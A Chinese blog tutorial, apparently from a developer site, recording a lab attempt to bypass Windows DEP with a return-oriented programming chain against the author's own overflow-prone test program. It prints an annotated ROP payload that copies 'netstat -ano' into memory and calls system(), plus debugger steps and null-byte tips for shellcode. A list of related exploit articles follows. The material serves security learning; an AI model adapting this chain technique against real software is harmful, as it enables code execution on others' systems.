利用 ROP 技术绕过 DEP 保护的一次简单尝试
\x 01 前言
- DEP是数据执行保护的英文缩写,全称为Data Execution Prevention。数据执行保护(DEP) 是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意代码,在 Microsoft Windows XP ServicePack 2及以上版本的Windows中,由硬件和软件一起强制实施DEP(这个技术还是比较老的了)。自从这个技术出现以来也出现了各种各样的方法来绕过,主要的方法为构造ROP链来绕过
- 下面是百度学术上找的文章,资料太少了,主要的意思就是利用程序或者动态链接库中原有的代码(地址不变)拼凑出完整的攻击逻辑,对汇编要求较高

- 以下为ROP的主要构造方法,前两个函数的资料不好找(函数不会用),所以选最后一个,当然最后一个也进行了阉割…

\x 02 实验环境
- C-Free + Windows10 + OD
\x 03 DEP开启与关闭
- 右击我的电脑–>属性



- 如图设置完成重启之后除了1.exe其他可执行程序都会受到DEP的保护

- 在有DEP保护的程序中会出现这样的情况,首先到达函数返回点

- 返回地址为溢出覆盖的0x7FFA4512(JMP ESP)

- 单步执行一步之后到达 jmp esp,之后只需要跳到shellcode即可

- 单步执行一步,这是系统会判断 jmp 进了数据段,不可以在数据段执行代码,终止程序


\x04 示例程序
- 由于我水平低,只能弄个简单的程序,这个程序加载了一个dll(动态链接库),用于拼凑方便

- 怎么判断是否绕过了DEP呢,我将用ROP编程的方式调用system函数(简单的函数,只需要一个参数),该参数为netstat -ano
- 具体思路如下:在高位地址寻找一块空闲的区域->将参数赋值到这个空闲的区域->调用system函数
- 思路有了那么就需要在动态链接库或者程序里面找现有的语句开始拼凑了,你别说还真找到了3处有用的



- 利用 eax 和 ecx 两个操作数将参数 netstat -ano 通过 mov 语句复制到一块空闲的内存中去,最后调用函数即可,于是生成了以下的shellcode(不同的操作系统能找出的空闲地址可能不一样)
char shellcode[] = "\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" // 溢出载荷
"\x5a\x20\x50\x74" // retn 到 0x7450205a(覆盖函数返回值的地址),开始ROP编程
"\x84\x5c\x51\x74" // 将 0x74515c84 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x6e\x65\x74\x73" // 将 0x7374656e(nets) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x5a\x20\x50\x74" // retn 到 0x7450205a 这个地址
"\x88\x5c\x51\x74" // 将 0x74515c88 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x74\x61\x74\x20" // 将 0x74617420(tat空格) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x5a\x20\x50\x74" // retn 到 0x7450205a 这个地址
"\x8c\x5c\x51\x74" // 将 0x74515c8c 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x2d\x61\x6e\x6f" // 将 0x6f6e612d(-ano) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x10\x3b\x4a\x74" // 参数 netstat -ano 的首地址,用于 system 函数的参数
"\x41\x41\x41\x41" // 用于维持函数调用的堆栈平衡,因为函数有参数,这个为一个参数,所以只需要4个字节
"\x84\x5c\x51\x74" // system 函数的地址 0x74515c84
- 逻辑图

\x 05 验证程序
- 示例程序

- 函数到了溢出点

- 此时的堆栈窗口

- 之后函数返回到0x7450205a

- 再返回到0x74507b4b

- 之后返回到0x74502071

- 观察数据窗口,参数是以4个字节连3次压入的

- 重复3次以上过程,观察数据窗口,发现system函数的参数已经赋值完毕(字符串以16进制00结尾)

- 最后调用system函数

- 堆栈窗口如下图所示,0x744a3b10 是 system 函数的地址,0x74515c84 是参数 netstat -ano 的首地址

- 成功进入 system 函数

- 验证结束,F9运行,成功运行并打印

\x 06 总结
- 在编写 shellcode 是比较容易踩的几个坑,第一个通过strcpy复制的 shellcode 中最好不要出现16进制的00,不然会被当作终止符,比如一个 shellcode:
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x00\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
- 当出现 00 字符后,00 后面的 shellcode 就不会被复制到堆栈当中,就会变成以下这个样子,原因是 strcpy 碰到 00 后就不往下复制了
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x00\x41
- 还有一个就是 retn 返回到某一个函数调用是,ESP 会加 4 个字节,要把这 4 个字节平衡掉
利用 ROP 技术绕过 DEP 保护的一次简单尝试的更多相关文章
- JDBC 利用反射技术将查询结果封装为对象(简单ORM实现)
ORM(Object Relational Mapping)对象关系映射 public class ORMTest { public static void main(String[] args) t ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- Rop实战之利用VirtualProtect绕过DEP
CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...
- safeseh+dep保护绕过
[文章作者] :h_one [漏洞程序名称]:mplayer.exe [漏洞类型] :缓冲区溢出 [保护方式] :safeseh+dep [操作平台] ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 使用ROP攻击绕过Windows的DEP
使用ROP攻击绕过Windows的DEP 基础知识 DEP DEP(Data Execution Prevention)意为数据执行保护,是Windows的一项安全机制,主要能够在内存上执行额外检查以 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- Linux pwn入门教程(3)——ROP技术
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...
- windows环境下的heap spray+stack pivot gadget 实现绕过dep
ASLR+DEP是windows平台下最为常见的两种保护手段.这两种手段使得最基础的jmp esp等手法不再适用,而单纯的堆喷也会因为堆内存不可执行而失效.那么这里就来介绍一下heap spray+s ...
随机推荐
- C#扩展方法的一分钟小例子
扩展方法是静态方法,是类的一部分,但没有在类的源代码中,就像一个补丁 首先创建一个静态类,然后创建一个静态方法,重点是静态方法的参数 public static class xExtension { ...
- go中waitGroup源码解读
waitGroup源码刨铣 前言 WaitGroup实现 noCopy state1 Add Wait 总结 参考 waitGroup源码刨铣 前言 学习下waitGroup的实现 本文是在go ve ...
- Shiro反序列化<=1.2.4 复现
Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理. shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到reme ...
- rest-framework routers
路由器 资源路由可以让你快速声明所有给定的足智多谋的控制器的共同路线.相反,宣布独立的路线索引的......一个足智多谋的路线宣称他们在一个单一的代码行. - Ruby on Rails的文档 一些W ...
- php-fpm的慢执行日志
通过慢执行日志,我们可以清晰地了解PHP脚本在哪里执行时间长,可以定位到行 下面介绍如何开启和查看慢执行日志 #vim /usr/local/php-fpm/etc/php-fpm.d/www.con ...
- HDU_3071 Gcd & Lcm game 【素数分解 + 线段树 + 状压】
一.题目 Gcd & Lcm game 二.分析 非常好的一题. 首先考虑比较暴力的做法,肯定要按区间进行处理,对于$lcm$和$gcd$可以用标准的公式进行求,但是求$lcm$的时候是肯定 ...
- PTA 求链式表的表长
6-1 求链式表的表长 (10 分) 本题要求实现一个函数,求链式表的表长. 函数接口定义: int Length( List L ); 其中List结构定义如下: typedef struct ...
- AutoPy开发文档
AutoPy 简介 AutoPy是为python开发者提供的一个安卓插件,由路飞大佬开发维护,主要功能为了实现使用python在安卓端完成一些操作,例如点击,滑动,返回 准备 安装AutoPy.apk ...
- 解Bug之路-主从切换"未成功"?
解Bug之路-主从切换"未成功"? 前言 数据库主从切换是个非常有意思的话题.能够稳定的处理主从切换是保证业务连续性的必要条件.今天笔者就来讲讲主从切换过程中一个小小的问题. 故障 ...
- SyntaxError :invalid syntax Python常见错误
1.忘记在 if , elif , else , for , while , class ,def 声明末尾添加 ":" 2.使用 = 而不是 ==,= 是赋值操作符而 == 是等 ...